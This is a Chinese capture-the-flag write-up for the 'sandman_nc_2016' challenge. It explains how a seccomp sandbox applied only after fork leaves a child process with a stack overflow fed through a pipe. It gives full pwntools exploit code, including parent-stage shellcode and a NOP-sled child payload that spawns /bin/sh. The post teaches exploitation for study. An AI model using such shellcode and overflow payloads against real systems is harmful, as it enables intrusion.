• sandman_nc_2016


    非常好的题目

    设计到的知识点

    seccomp

    他再fork之后执行的seccomp,所以可以看到子进程是没有沙箱保护的
    在这里插入图片描述
    他这里只允许了read 0号系统调用,write 1号系统调用,还有剩下两个是跟error和exit处理有关
    在这里插入图片描述
    大概的漏洞大家可以看明白,父进程可以执行任意代码,但有沙箱
    子进程栈溢出,没沙箱,但是输入是从3pipe创建的描述符输入的,但我们正常是无法使用3描述符的,所以必须要shellcode里面写这部分

    pipe

    pipe这个函数会返回两个文件描述符,pipedes[0]负责read,pipedes[1]负责write,这里就是3负责read,4负责write,如果我们想要利用shellcode往子进程写内容,最开始我也是想直接read(0,buf,len),write(3,buf,len),但是会失败,我们换成read(0,buf,len),write(4,buf,len)就成功了
    在这里插入图片描述

    payload

    父进程shellcode执行部分

    buf=0x602200
    ret_addr=buf+0x234
    shellcode=f"""
    mov rdi,0;
    mov rdx,{len(payload)};#payload主要是子进程的shellcode
    mov rsi,{buf}
    mov rax,0;
    syscall;#read(0,buf,len)
    mov rdi,{ret_addr}
    mov rax,rsp;
    sub rax,0x200;
    mov qword ptr [rdi],rax#这里就是把最后溢出的ret地址改成栈地址,这里-0x200就是可以根据父进程和子进程大概偏移估算,反正我们也是栈喷
    mov rdi,4;
    mov rax,1;
    syscall;#write(4,buf,len)
    start:
    nop
    jmp start#写个循环防止退出
    """
    shellcode=asm(shellcode)
    s(p8(len(shellcode)))
    sleep(0.5)
    s(shellcode)
    sleep(0.5)
    s(payload)#这里就是子进程的payload
    it()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    子进程payload

    def convert_str_asmencode(content: str):
        out = ""
        for i in content:
            out = hex(ord(i))[2:] + out
        out = "0x" + out
        return out
    sh=f"""
    mov rax,{convert_str_asmencode("//bin/sh")}#防止有]x00
    mov rdx,rsp;
    sub dx,0x1008#这个随便往地址写入/bin/sh
    mov qword ptr [rdx],rax
    add dl,0x8
    xor rsi,rsi
    mov qword ptr [rdx],rsi;#加上\x00
    sub dl,0x8
    mov rdi,rdx;
    xor rdx,rdx
    xor rax,rax
    mov al,0x3b
    syscall
    """
    sh=asm(sh)
    
    payload_final=b"http://"+b"\x90"*(0x228-len(sh))+sh+p64(ret_addr)#这个ret_addr无所谓,反正也要被我们覆盖掉
    payload=b"\x0e"+p32(len(payload_final))+payload_final
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    allpayload

    def convert_str_asmencode(content: str):
        out = ""
        for i in content:
            out = hex(ord(i))[2:] + out
        out = "0x" + out
        return out
    
    buf=0x602200
    ret_addr=buf+0x234
    sh=f"""
    mov rax,{convert_str_asmencode("//bin/sh")}
    mov rdx,rsp;
    sub dx,0x1008
    mov qword ptr [rdx],rax
    add dl,0x8
    xor rsi,rsi
    mov qword ptr [rdx],rsi;
    sub dl,0x8
    mov rdi,rdx;
    xor rdx,rdx
    xor rax,rax
    mov al,0x3b
    syscall
    """
    sh=asm(sh)
    
    payload_final=b"http://"+b"\x90"*(0x228-len(sh))+sh+p64(ret_addr)
    payload=b"\x0e"+p32(len(payload_final))+payload_final
    shellcode=f"""
    mov rdi,0;
    mov rdx,{len(payload)};
    mov rsi,{buf}
    mov rax,0;
    syscall;
    mov rdi,{ret_addr}
    mov rax,rsp;
    sub rax,0x200;
    mov qword ptr [rdi],rax
    mov rdi,4;
    mov rax,1;
    syscall;
    start:
    nop
    jmp start
    """
    shellcode=asm(shellcode)
    s(p8(len(shellcode)))
    sleep(0.5)
    s(shellcode)
    sleep(0.5)
    s(payload)
    it()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    在这里插入图片描述

  • 相关阅读:
    Windows 10 没有【休眠】选项的配置操作
    【跟晓月学shell脚本】掌握shell脚本变量原理及概念
    用友U8 cloud再升级,为成长型集团注入数智新力量
    学生动漫网页设计模板下载你的名字 大学生HTML网页制作作品 简单漫画网页设计成品 dreamweaver学生网站模板
    LQ0015 质因数个数【数论】
    Nginx+cpolar实现内网穿透多个Windows Web站点端口
    webpack5学习进阶:多页面应用、Tree Shaking、PWA、Shimming
    2022年 11月26日 KNN 学习笔记
    LabVIEW编程LabVIEW开发SMP10辐射表例程与相关资料
    python神经网络编程 豆瓣,python神经网络库 keras
  • 原文地址:https://blog.csdn.net/azraelxuemo/article/details/128034107